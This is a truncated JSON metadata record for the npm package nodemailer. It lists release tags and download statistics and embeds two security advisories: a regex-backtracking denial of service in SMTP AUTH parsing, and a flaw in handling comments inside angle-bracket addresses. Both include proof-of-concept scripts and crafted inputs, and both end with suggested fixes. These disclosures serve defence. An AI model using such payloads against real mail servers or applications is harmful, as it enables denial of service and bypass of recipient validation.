/github.com/nodemailer/nodemailer/releases/tag/v0.1.12","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v0.1.12","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.1.12","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.1.12/manifests","release_url":null},{"name":"v0.1.10","sha":"577747f06096dc99d03da3f4acd9626d7aa0def9","kind":"tag","published_at":"2011-04-28T08:44:54.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v0.1.10","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v0.1.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v0.1.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.1.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.1.10/manifests","release_url":null},{"name":"v0.1.9","sha":"ea5f4a68789ea523dfc78d8f384bf02fa204fc3b","kind":"tag","published_at":"2011-03-14T13:15:02.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v0.1.9","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v0.1.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v0.1.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.1.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.1.9/manifests","release_url":null},{"name":"v0.1.8","sha":"71991a24f9803e993f844c108ba5cbc12bf312ef","kind":"tag","published_at":"2011-03-09T09:00:26.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v0.1.8","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v0.1.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v0.1.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.1.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.1.8/manifests","release_url":null},{"name":"v0.1.7","sha":"1efc51134f38c259aedf7e88ec9a07fc8f4f244a","kind":"tag","published_at":"2011-03-07T09:16:28.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v0.1.7","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v0.1.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v0.1.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.1.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.1.7/manifests","release_url":null},{"name":"v0.1.6","sha":"f6fedd65999c7799b960f24bd649a789d5471b0e","kind":"tag","published_at":"2011-02-25T19:53:11.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v0.1.6","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v0.1.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v0.1.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.1.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.1.6/manifests","release_url":null},{"name":"v0.1.5","sha":"3e9fa0e93e6922f2a11f40651d7a331fcfb72286","kind":"tag","published_at":"2011-02-25T11:52:51.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v0.1.5","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v0.1.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v0.1.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.1.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.1.5/manifests","release_url":null},{"name":"v0.1.4","sha":"7c429d79b678de8ff0ec055ceb3c0a29f980c429","kind":"tag","published_at":"2011-02-21T08:59:30.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v0.1.4","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v0.1.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v0.1.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.1.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.1.4/manifests","release_url":null},{"name":"v0.1.3","sha":"9af74d24b23a0084acd055d46a6b311282dc9649","kind":"commit","published_at":"2011-02-14T15:01:18.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v0.1.3","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v0.1.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v0.1.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.1.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.1.3/manifests","release_url":null},{"name":"v0.1.2","sha":"bc62c5a9b73c79b304a50dd0c7784a4b96e20eba","kind":"tag","published_at":"2011-01-21T20:17:00.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v0.1.2","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v0.1.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v0.1.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.1.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.1.2/manifests","release_url":null},{"name":"v0.1.1","sha":"5b10839a81a5b8cb8bd895606e292938966223b2","kind":"tag","published_at":"2011-01-21T08:36:52.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v0.1.1","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v0.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v0.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.1.1/manifests","release_url":null},{"name":"v0.1","sha":"68a56d03d2da961f46e155bf6f1bba739733bc80","kind":"tag","published_at":"2011-01-20T18:34:31.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v0.1","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v0.1/manifests","release_url":null}]},"repo_metadata_updated_at":"2026-10-24T18:16:33.107Z","dependent_packages_count":5947,"downloads":94198614,"downloads_period":"last-month","dependent_repos_count":214737,"rankings":{"downloads":0.07464438184088451,"dependent_repos_count":0.07097518333388418,"dependent_packages_count":0.0150409129638105,"stargazers_count":0.8000253202706132,"forks_count":1.0303445517443819,"docker_downloads_count":0.04375029059491993,"average":0.3391301067914157},"purl":"pkg:npm/nodemailer","advisories":[{"uuid":"GSA_kwCzR0hTQS00ZmZyLWpxOWctNWZmeM4AB_ks","url":"https://github.com/advisories/GHSA-4ffr-jq9g-5ffx","title":"Nodemailer: Quadratic backtracking in SMTP AUTH mechanism detection regexes allows pre-auth remote denial of service","description":"## Summary\n\nNodemailer's SMTP client applies four regular expressions to a peer's EHLO response to detect the supported SASL mechanisms. Each pattern uses an alternation with two overlapping whitespace-matching sub-patterns, which produces quadratic (O(n^2)) backtracking whenever the mechanism name is absent from the line. A malicious or MITM SMTP server that answers EHLO with `250-AUTH` followed by a long whitespace-only run and a non-matching token blocks the Node.js event loop for tens of seconds to hours during a pre-authentication handshake. No authentication to the target SMTP server is required, and any application that connects to an attacker-influenced host is affected.\n\n## Root Cause\n\nEach of the four AUTH mechanism regexes in `SMTPConnection._actionEHLO` contains the sub-pattern `(?:(\\s+|=)[^\\n]*\\s+|\\s+|=)` before the mechanism literal. `[^\\n]*` and the trailing `\\s+` both match whitespace and can consume the same characters, so when the mechanism literal is absent, the regex engine must try every partition of the whitespace run between `[^\\n]*` and `\\s+` before failing. The four regexes run unconditionally on every EHLO response, with no length cap, no shape validation, and no early rejection before the engine enters the ambiguous alternation.\n\n```text\nComponent: nodemailer (npm), SMTP client\nFunction:  SMTPConnection._actionEHLO\nLocation:  src/smtp-connection/index.ts, lines 2162, 2167, 2172, 2177\nPatterns:  /[ -]AUTH(?:(\\s+|=)[^\\n]*\\s+|\\s+|=)PLAIN/i\n           /[ -]AUTH(?:(\\s+|=)[^\\n]*\\s+|\\s+|=)LOGIN/i\n           /[ -]AUTH(?:(\\s+|=)[^\\n]*\\s+|\\s+|=)CRAM-MD5/i\n           /[ -]AUTH(?:(\\s+|=)[^\\n]*\\s+|\\s+|=)XOAUTH2/i\n```\n\n## Impact\n\nAlgorithmic-complexity denial of service against any Node.js process that opens an SMTP connection to an attacker-controlled or attacker-influenced host. Node.js is single threaded, so the process stalls entirely while the regex engine backtracks: no other requests are served, no timers fire, and the built-in socket timeout (10 minutes) cannot interrupt synchronous JavaScript. A 4,000-character whitespace run inside a single continuation line already blocks each regex for tens of seconds; the client bounds a response at 1 MB, which leaves headroom for blocking runs measured in hours across the four patterns. Two realistic attacker positions reach the sink pre-authentication: a hosted mailer that lets tenants configure their own SMTP server, and any network-adjacent attacker able to man-in-the-middle a cleartext SMTP connection (including before STARTTLS negotiation).\n\n## Proof of Concept\n\nThe PoC exercises the exact four regexes copied from `src/smtp-connection/index.ts` against a synthesized `250-AUTH\u003cwhitespace\u003eNOMATCH` line, so no live SMTP server is needed to reproduce the timing.\n\n```text\nRuntime:      Node.js \u003e= 20\nDependencies: none\nInvocation:   node poc.js\n```\n\n```javascript\n'use strict';\n\nconst AUTH_REGEXES = [\n    /[ -]AUTH(?:(\\s+|=)[^\\n]*\\s+|\\s+|=)PLAIN/i,\n    /[ -]AUTH(?:(\\s+|=)[^\\n]*\\s+|\\s+|=)LOGIN/i,\n    /[ -]AUTH(?:(\\s+|=)[^\\n]*\\s+|\\s+|=)CRAM-MD5/i,\n    /[ -]AUTH(?:(\\s+|=)[^\\n]*\\s+|\\s+|=)XOAUTH2/i,\n];\n\nfunction bench(n) {\n    const line = '250-AUTH' + ' '.repeat(n) + 'NOMATCH';\n    const start = Date.now();\n    for (const re of AUTH_REGEXES) re.test(line);\n    return Date.now() - start;\n}\n\nfor (const n of [500, 1000, 2000, 3000]) {\n    console.log(`n=${n}  four-regex time=${bench(n)} ms`);\n}\n\nconst control = '250-AUTH PLAIN LOGIN CRAM-MD5 XOAUTH2';\nconst t0 = Date.now();\nfor (const re of AUTH_REGEXES) re.test(control);\nconsole.log(`well-formed control  four-regex time=${Date.now() - t0} ms`);\n```\n\n```text\nn=500   four-regex time=914 ms\nn=1000  four-regex time=1348 ms\nn=2000  four-regex time=10558 ms\nn=3000  four-regex time=35251 ms\nwell-formed control  four-regex time=0 ms\n```\n\nDoubling the whitespace run multiplies the wall time by roughly four, which matches the expected O(n^2) growth. The well-formed control shows that a normal EHLO response is parsed in effectively zero time.\n\n## Attack Chain\n\n1. **Exposure:** The victim application, or any dependent that uses `nodemailer` to send mail, opens a TCP or TLS connection to an SMTP host the attacker controls. This happens automatically for multi-tenant mailers whose tenants configure their own outbound SMTP server, and for any client whose plaintext SMTP session can be intercepted by a network-adjacent attacker before STARTTLS negotiation.\n2. **Control:** The attacker fully controls the bytes returned in response to `EHLO`. In particular, the attacker chooses the length and content of every `250-` continuation line up to the client's 1 MB response cap.\n3. **Path:** Socket bytes are reassembled by `_onData`, decoded by `_processResponse`, and dispatched to `_actionEHLO`. On the first EHLO after the greeting (malicious server with no STARTTLS), on the second EHLO after a successful STARTTLS upgrade, or on the first EHLO when `ignoreTLS` is set, control reaches the AUTH detection block near the end of `_actionEHLO`.\n4. **Guard:** The only bounds on this path are `maxResponseSize` (1 MB by default) and the 421 or non-2xx status-code check. Neither prevents O(n^2) backtracking: 4,000 whitespace characters already block each regex for tens of seconds, well below the 1 MB cap. No length, shape, or sanitization check runs before the regexes.\n5. **Primitive:** Four `RegExp.prototype.test` calls execute against the crafted line, each entering catastrophic backtracking because `[^\\n]*` and `\\s+` share the whitespace alphabet and the mechanism literal never matches.\n6. **Result:** The Node.js event loop is blocked for the duration of the four regex evaluations. All other work in the process, including timers, unrelated requests, keep-alive traffic, and the SMTP socket timeout itself, is suspended until the regexes return.\n\n## Bypass Evidence\n\nThe only response-side protection in this code path is `maxResponseSize`, introduced by the fix for GHSA-4g23-2xm8-66gc (commit `f2d82fa`). That fix targeted quadratic reassembly of long multiline replies inside `_onData` and left the AUTH regex evaluation in `_actionEHLO` untouched. `maxResponseSize` does not prevent this issue: at 4,000 whitespace characters, roughly 0.4 percent of the default 1 MB cap, a single continuation line already blocks each of the four regexes for tens of seconds. No status-code or length gate rejects the payload before the regex engine enters the ambiguous alternation, and Node.js's single-threaded event loop cannot service the socket timeout while a synchronous `test()` call is running. Two other recent linear-time fixes in this project (the addressparser fallback for GHSA-v53p-9fqp-m79j and the DKIM header unfolding for GHSA-39m8-27wv-hr27) address entirely different modules and inputs and do not touch the AUTH mechanism regexes.\n\n## Affected Versions\n\n- **Ecosystem:** `npm`\n- **Package:** `nodemailer`\n- **Confirmed affected range:** `\u003e= 3.0.0, \u003c= 10.0.12`\n- **Latest release checked:** `10.0.12` ([npm registry](https://registry.npmjs.org/nodemailer/10.0.12))\n- **Fix status:** 10.0.13\n\nThe four AUTH mechanism regexes were introduced when the SMTP client was bundled into `nodemailer` at 3.0.0 (previously a separate `smtp-connection` package). The vulnerable alternation `(?:(\\s+|=)[^\\n]*\\s+|\\s+|=)` is present, unchanged, in every published release from 3.0.0 (`lib/smtp-connection/index.js`) through 10.0.12 (`dist/esm/smtp-connection/index.js` and `dist/cjs/smtp-connection/index.js`). A later refactor added a leading `[ -]` character class but did not alter the ambiguous inner alternation. No release, and no development branch inspected at the current HEAD (`30e4cfd`), contains a fix for this pattern.\n\n## Suggested Fix\n\nReplace the four backtracking regexes with a non-ambiguous parse of the AUTH extension. The invariant the fix must enforce is that mechanism detection runs in time linear in the response length regardless of whitespace shape. A minimal approach: match the AUTH extension value with a single non-backtracking pattern (for example, `/[ -]AUTH(?:\\s+|=)([^\\r\\n]*)/i`) and then check for each mechanism name against the whitespace-split tokens with a `Set` lookup or `includes`. The fix must cover both continuation forms (`250-AUTH ...` and `250 AUTH ...`) and both delimiters (space and `=`), and must handle the \"AUTH advertised with no mechanisms\" case without walking the whitespace run. As an interim mitigation, callers who never connect to an untrusted SMTP peer can restrict SMTP endpoints to a known allowlist; this does not help clients that must interoperate with arbitrary user-configured servers or with any cleartext SMTP path exposed to a network-adjacent attacker before STARTTLS.\n\n---\n\nReported by zx (GitHub: @manus-pi).","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-10-27T15:04:39.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.9,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/nodemailer/nodemailer/security/advisories/GHSA-4ffr-jq9g-5ffx","https://github.com/nodemailer/nodemailer/commit/b5a896fcb02df1628329d7cd665ca08490b14b56","https://github.com/nodemailer/nodemailer/releases/tag/v10.0.13","https://github.com/advisories/GHSA-4ffr-jq9g-5ffx"],"source_kind":"github","identifiers":["GHSA-4ffr-jq9g-5ffx"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-27T16:00:11.910Z","updated_at":"2026-10-28T20:01:30.334Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00ZmZyLWpxOWctNWZmeM4AB_ks","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS00ZmZyLWpxOWctNWZmeM4AB_ks","packages":[{"ecosystem":"npm","package_name":"nodemailer","versions":[{"first_patched_version":"10.0.13","vulnerable_version_range":"\u003e= 3.0.0, \u003c= 10.0.12"}],"purl":"pkg:npm/nodemailer"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00ZmZyLWpxOWctNWZmeM4AB_ks/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1nNzNnLWhxcWgtanI5Nc4AB_kr","url":"https://github.com/advisories/GHSA-g73g-hqqh-jr95","title":"Nodemailer: RFC 5322 comment inside an angle-bracket address is never stripped","description":"## Summary\n\nNodemailer's address parser has three published, patched fixes for RFC 5322 comment `( ... )` handling inside an addr-spec: GHSA-cc9r-2j5m-2m83 (comment glued two domain atoms into one), GHSA-g57g-f23g-4646 (the same glue for a quoted local part), and the related ReDoS fixes GHSA-prgh-xp8r-p3m5 / GHSA-v53p-9fqp-m79j. All three fixes live in `_handleAddress()`'s `joins` / `_recoverAddrSpec()` logic in `src/addressparser/index.ts`, and that logic is exercised whenever the local text-accumulation path in the tokenizer runs.\n\nThat logic is **never reached at all** for the single most common way a recipient is written: a display name followed by an angle-bracket address, `Name \u003clocal@domain\u003e`. When the input inside the angle brackets itself contains an RFC 5322 comment, e.g.\n\n```\nLegit User \u003cuser@good-corp.com(x)evil.com\u003e\n```\n\nthe comment is not recognized as an operator, is not stripped, and the parenthesis characters survive **verbatim** inside the parsed address. That value is used as-is for `envelope.to` and is written raw onto the wire in the `RCPT TO` SMTP command. I confirmed this end to end:\n\n* against nodemailer's own `jsonTransport`/`streamTransport` (`envelope.to` and the emitted `To:` header both carry the malformed value), and\n* against a real SMTP server (`aiosmtpd`), where the malformed value is fatal to the transaction (`501 Syntax: RCPT TO: \u003caddress\u003e [SP \u003cmail-parameters\u003e]`, all recipients rejected).\n\nThis reproduces unmodified on every version I tested from `6.9.16` through the current `10.0.12` HEAD, i.e. it predates and survives all three of the address-parser advisories above unchanged, because it is a different root cause in a code path those fixes never touch.\n\n## Root cause\n\n### 1. The tokenizer has a single-slot operator stack\n\n`src/addressparser/index.ts`, `Tokenizer.checkChar()`:\n\n```ts\n} else if (!this.operatorExpecting \u0026\u0026 !this.inDomainLiteral \u0026\u0026 chr in this.operators) {\n    this.node = { type: 'operator', value: chr };\n    this.list.push(this.node);\n    this.node = null;\n    this.operatorExpecting = this.operators[chr];\n    this.escaped = false;\n    return;\n}\n```\n(currently around line 670)\n\n`operatorExpecting` is a single string, not a stack. Once `\u003c` opens the address scope, `operatorExpecting` is set to `'\u003e'`. The branch above that recognizes a *new* operator character (such as `(`) is gated on `!this.operatorExpecting`, which is now false. So while inside `\u003c...\u003e`, a `(` is never tokenized as an operator at all — it is just an ordinary character appended to the running text token, together with everything up to the next `\u003e`. The RFC 5322 comment is not recognized, not entered, and not stripped: it rides straight through as literal text.\n\n### 2. The `_handleAddress` state machine loses the `address` state on any operator boundary\n\n`src/addressparser/index.ts`, inside `_handleAddress()` (currently around line 365-388):\n\n```ts\nswitch (token.value) {\n    case '\u003c':\n        state = 'address';\n        insideQuotes = false;\n        break;\n    case '(':\n        state = 'comment';\n        insideQuotes = false;\n        break;\n    ...\n    default:\n        state = 'text';\n        insideQuotes = false;\n        break;\n}\n```\n\nEven where a comment *is* recognized (outside angle brackets), closing it with `)` falls through to `default` and resets `state` to `'text'`, not back to whatever state was active before the comment opened. This is why the fixed cases (bare address, quoted local part) only work at all: the leaked comment tail lands in the free-`text` bucket, where `_recoverAddrSpec()`/the ADDR_SPEC extraction logic can find and strip it. Inside `\u003c...\u003e`, none of that applies in the first place (point 1), so there is no text-bucket safety net to fall back on — the whole point 1/point 2 interaction is what makes the angle-bracket case categorically different from, and unprotected by, the three existing fixes.\n\n### 3. The one existing safety net requires whitespace, and this value has none\n\n`_recoverAddrSpec()` (currently around line 283) is the function all three prior fixes rely on to peel a clean addr-spec back out of a polluted value. Its very first line is:\n\n```ts\nfunction _recoverAddrSpec(data: { address: string; text: string }): void {\n    if (!HAS_WHITESPACE.test(data.address)) {\n        return;\n    }\n    ...\n```\n\n`user@good-corp.com(x)evil.com` contains no whitespace at all — the comment content `x` had none, and nothing in the angle-bracket path inserts any — so `_recoverAddrSpec` bails out immediately and never even looks at the value. There is no cleanup path for this shape.\n\n## Proof of Concept\n\nEnvironment: Node.js, current `master` (commit `30e4cfd5902fd5da4d1bc76dc8e4bc92d288adef`, package.json version `10.0.12`), no special transport configuration required.\n\n### Parser-level confirmation\n\n```js\nconst addressparser = require('nodemailer/lib/addressparser');\nconsole.log(addressparser('Legit User \u003cuser@good-corp.com(x)evil.com\u003e'));\n// [ { address: 'user@good-corp.com(x)evil.com', name: 'Legit User' } ]\n```\n\nCompare with the already-fixed, unbracketed form of the exact same bytes:\n\n```js\nconsole.log(addressparser('user@good-corp.com(x)evil.com'));\n// [ { address: 'user@good-corp.com', name: 'evil.com' } ]   \u003c- correctly stripped\n```\n\n### `sendMail` / envelope confirmation (jsonTransport, no network)\n\n```js\nconst nodemailer = require('nodemailer');\n\n(async () =\u003e {\n    const t = nodemailer.createTransport({ jsonTransport: true });\n    const info = await t.sendMail({\n        from: 'app@good-corp.com',\n        to: 'Legit User \u003cuser@good-corp.com(x)evil.com\u003e',\n        subject: 'hi',\n        text: 'x'\n    });\n    console.log('envelope.to:', info.envelope.to);\n})();\n```\n\nObserved output:\n\n```\nenvelope.to: [ 'user@good-corp.com(x)evil.com' ]\n```\n\nThe raw `streamTransport` message shows the same value in the emitted header:\n\n```\nFrom: app@good-corp.com\nTo: Legit User \u003cuser@good-corp.com(x)evil.com\u003e\nSubject: hi\n```\n\n### Wire-level confirmation against a real SMTP server\n\n```js\nconst net = require('net');\nconst nodemailer = require('nodemailer');\n\nconst server = net.createServer(sock =\u003e {\n    let buf = '';\n    sock.write('220 sink ESMTP\\r\\n');\n    sock.on('data', d =\u003e {\n        buf += d;\n        let i;\n        while ((i = buf.indexOf('\\r\\n')) \u003e= 0) {\n            const line = buf.slice(0, i);\n            buf = buf.slice(i + 2);\n            const u = line.toUpperCase();\n            if (u.startsWith('EHLO')) sock.write('250-sink\\r\\n250 8BITMIME\\r\\n');\n            else if (u.startsWith('MAIL')) sock.write('250 ok\\r\\n');\n            else if (u.startsWith('RCPT')) { console.log('wire RCPT TO :', line); sock.write('250 ok\\r\\n'); }\n            else if (u.startsWith('DATA')) sock.write('354 go\\r\\n');\n            else if (line === '.') sock.write('250 ok\\r\\n');\n            else if (u.startsWith('QUIT')) { sock.write('221 bye\\r\\n'); sock.end(); }\n            else sock.write('250 ok\\r\\n');\n        }\n    });\n});\n\nserver.listen(0, '127.0.0.1', async () =\u003e {\n    const t = nodemailer.createTransport({ host: '127.0.0.1', port: server.address().port, secure: false });\n    const info = await t.sendMail({ from: 'app@good-corp.com', to: 'Legit User \u003cuser@good-corp.com(x)evil.com\u003e', subject: 'hi', text: 'x' });\n    console.log('envelope.to:', info.envelope.to);\n    t.close(); server.close();\n});\n```\n\nObserved:\n\n```\nwire RCPT TO : RCPT TO:\u003cuser@good-corp.com(x)evil.com\u003e\nenvelope.to: [ 'user@good-corp.com(x)evil.com' ]\n```\n\nThe same recipient string sent at a real, conformant SMTP server (`aiosmtpd`, a widely used reference-grade Python SMTP implementation) instead of the sink above:\n\n```\nError: Can't send mail - all recipients were rejected: 501 Syntax: RCPT TO: \u003caddress\u003e [SP \u003cmail-parameters\u003e]\ncode: 'EENVELOPE', responseCode: 501, command: 'RCPT TO',\nrejected: [ 'user@good-corp.com(x)evil.com' ]\n```\n\nSo against a strict receiver the immediate, concretely demonstrated outcome is that the message is bounced: an ordinary-looking recipient address that a sender/application believes is valid (and, see below, that some app-side validators *do* read as valid, at `good-corp.com`) silently fails to send.\n\n### Interpretation-conflict confirmation (same class as GHSA-cc9r-2j5m-2m83)\n\nThe same string, read by two other parsers an application might use to gate on the recipient's domain, produces two more, mutually different readings:\n\n```python\n\u003e\u003e\u003e import email.utils\n\u003e\u003e\u003e email.utils.parseaddr('Legit User \u003cuser@good-corp.com(x)evil.com\u003e')\n('Legit User (x)', 'user@good-corp.comevil.com')\n```\n\n```python\n\u003e\u003e\u003e import email.policy, email.parser\n\u003e\u003e\u003e msg = email.parser.Parser(policy=email.policy.default).parsestr(\n...     'To: Legit User \u003cuser@good-corp.com(x)evil.com\u003e\\n\\n')\n\u003e\u003e\u003e addr = msg['To'].addresses[0]\n\u003e\u003e\u003e addr.username, addr.domain\n('user', 'good-corp.com')\n```\n\nSo for the exact same bytes:\n\n| Parser | Domain read | \n|---|---|\n| Python `email.utils.parseaddr` | `good-corp.comevil.com` (attacker-registrable) |\n| Python `email.policy.default` (defects not inspected) | `good-corp.com` (clean, would pass an allow-list check) |\n| Nodemailer `addressparser` (this report) | `good-corp.com(x)evil.com` (illegal characters, rejected by a strict MTA) |\n\nThis is the exact \"which parser sees what\" comparison table from GHSA-cc9r-2j5m-2m83, reproduced through a different, unpatched code path: an application validating with `email.policy.default` without checking `.defects` (a documented pattern in that advisory) approves `good-corp.com` and hands the string to Nodemailer, which then emits a different, malformed value on the wire.\n\n### Version range\n\nThe built `addressparser`/`sendMail` output was tested for this exact input across published releases:\n\n| Version | `envelope.to` |\n|---|---|\n| `6.9.16` | `user@good-corp.com(x)evil.com` |\n| `9.0.6` | `user@good-corp.com(x)evil.com` |\n| `9.1.0` (fixed GHSA-cc9r-2j5m-2m83) | `user@good-corp.com(x)evil.com` |\n| `10.0.1` | `user@good-corp.com(x)evil.com` |\n| `10.0.12` / current HEAD (fixed GHSA-g57g-f23g-4646) | `user@good-corp.com(x)evil.com` |\n\nUnchanged across every one of the three address-parser advisory fixes, because none of them touch the tokenizer's single-slot `operatorExpecting` state or the `_handleAddress` state-machine reset on `)`.\n\n## Impact\n\n* **Confirmed, demonstrated impact:** a recipient address that contains a perfectly legal RFC 5322 comment inside angle brackets — the single most common way a `To`/`Cc`/`Bcc`/`From`/`Reply-To` value is written (`Display Name \u003cuser@domain\u003e`) — is parsed into a value containing SMTP-illegal characters (`(`, `)`) that a conformant receiving SMTP server rejects outright, silently failing message delivery to what the sender/application believed was a valid, already-validated recipient (CWE-20, availability/reliability impact on outbound mail).\n* **Demonstrated interpretation conflict (CWE-436):** the malformed value that reaches `envelope.to` and the wire `RCPT TO` command disagrees with how other parsers, including ones explicitly called out as an at-risk validation pattern in GHSA-cc9r-2j5m-2m83 (Python's `email.policy.default` without defect inspection), read the exact same bytes. An application gating outbound mail on \"is the recipient's domain in my allow-list\" using such a validator can approve a value that Nodemailer then sends corrupted, and depending on the receiving MTA's own comment handling, a different domain than either the sender or the validator believed was being used.\n* **Reachability:** every code path that ends up calling `MimeNode._parseAddresses()` — `to`, `cc`, `bcc`, `from`, `replyTo`, and the explicit `envelope` option — is affected identically, since they all funnel through the same `addressparser()`/`_handleAddress()` logic.\n\n## Suggested fix\n\nThe underlying issue is architectural: `Tokenizer.operatorExpecting` is a single value, so it cannot represent \"currently inside an angle-address, and also currently inside a comment nested within it.\" A minimal fix is to make the tokenizer maintain a stack of expected closing characters (pushing `')'` when entering a comment while another operator scope, e.g. `'\u003e'`, is already open, and popping back to the outer expectation on `)`), so a comment can be recognized and stripped no matter what scope it is nested inside. `_handleAddress`'s state machine would then need to restore the previous `state` on a comment close instead of unconditionally resetting to `'text'`, so recognized-but-stripped comment content inside `\u003c...\u003e` continues to accumulate as `address` rather than leaking into `text`.\n\nAs defense in depth, `_recoverAddrSpec()` (or an equivalent check run specifically on `data.address` for the angle-bracket case) should also reject/clean any parsed address value that still contains RFC 5322 special characters such as `(`/`)` regardless of whether whitespace is present, since `envelope.to` is used directly to build an SMTP command and any character outside `Mailbox` (RFC 5321 §4.1.2) reaching that string is already the wrong outcome, independent of how it got there.\n\n## Regression test suggestion\n\n`Name \u003cuser@example.com(x)evil.com\u003e` and the bcc/cc/from/replyTo/envelope equivalents should all parse to `{ address: 'user@example.com', name: 'Name evil.com' }` or be rejected outright by `sendMail`, never silently carry `(`/`)` into 